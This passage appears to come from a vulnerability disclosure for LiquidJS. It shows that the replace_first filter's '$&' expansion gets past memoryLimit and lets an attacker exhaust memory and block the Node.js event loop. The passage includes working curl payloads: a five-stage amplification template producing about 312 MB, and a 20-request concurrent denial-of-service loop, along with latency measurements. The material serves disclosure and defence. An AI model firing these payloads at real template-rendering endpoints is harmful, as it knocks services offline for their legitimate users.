Details
Empirical results (Node.js v20.20.1, LiquidJS 10.24.0):
Normal[0s]: 13047ms ← request sent concurrently with attack — 13s delay
Normal[3s]: 10124ms ← still blocked 3 seconds later — 10s delay
Normal[6s]: 7186ms ← still blocked 6 seconds later — 7s delay
DoS[1]: 14729ms
DoS[2-20]: 17747ms ~ 25353ms
With 20 concurrent requests, legitimate users experience up to 13-second delays. Requests sent 6 seconds after the attack began still take 7 seconds, confirming sustained service disruption throughout the ~25-second attack window. Each attack request costs only ~500 bytes.
HTTP Reproduction (for applications that accept user templates)
# $& expansion — should return "HELLO-HELLO-HELLO"
curl -s -X POST http://<app>/render \
-H "Content-Type: application/json" \
-d '{"template": "{{ \"HELLO\" | replace_first: \"HELLO\", \"$&-$&-$&\" }}"}'
# replace is safe — should return literal "$&$&$&"
curl -s -X POST http://<app>/render \
-H "Content-Type: application/json" \
-d '{"template": "{{ \"ABCDE\" | replace: \"ABCDE\", \"$&$&$&\" }}"}'
# 5-stage 50x amplification — produces ~312.5MB response
curl -s -X POST http://<app>/render \
-H "Content-Type: application/json" \
-d '{"template": "{% assign s = \"A\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{% assign s = s | replace_first: s, \"$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&\" %}{{ s | size }}"}'
# 20 concurrent DoS attack requests
for i in $(seq 1 20); do
curl -s -o /dev/null --max-time 120 -X POST "http://<app>/render" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'template={% assign s = "A" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{% assign s = s | replace_first: s, "$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&$&" %}{{ s }}' &
done
# Legitimate user request (concurrent)
curl -w "Normal: %{time_total}s\n" -s -o /dev/null --max-time 60 -X POST "http://<app>/render" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode 'template=<h1>Hello</h1>' &
wait
Replace http://<app>/render with the actual template rendering endpoint. The payload is pure Liquid syntax and works regardless of the HTTP framework.
Impact
- `memoryLimit` security bypass: The memory limit is rendered ineffective for templates using
replace_firstwith$&patterns. - Demonstrated Denial of Service: A single request allocates 312.5 MB (625 MB heap). Concurrent requests cause complete service unavailability. Due to Node.js single-threaded architecture, the event loop is blocked and all legitimate user requests are stalled.
- Measured service disruption (LiquidJS 10.24.0, Node.js v20, empirically verified):
| Concurrent Attack Requests | Legitimate User Latency | vs. Baseline | Server Blocked |
|---------------------------|------------------------|-------------|---------------|
| 10 | 3.2s | 640x | ~11s |
| 20 | 10.9s | 2,180x | ~29s |
With 20 concurrent requests, legitimate user requests are delayed by 10.9 seconds and the server becomes completely unresponsive for 29 seconds. Requests sent 6 seconds after the attack began still took 8 seconds, confirming sustained service disruption throughout the attack window. The attack cost is ~500 bytes per HTTP request.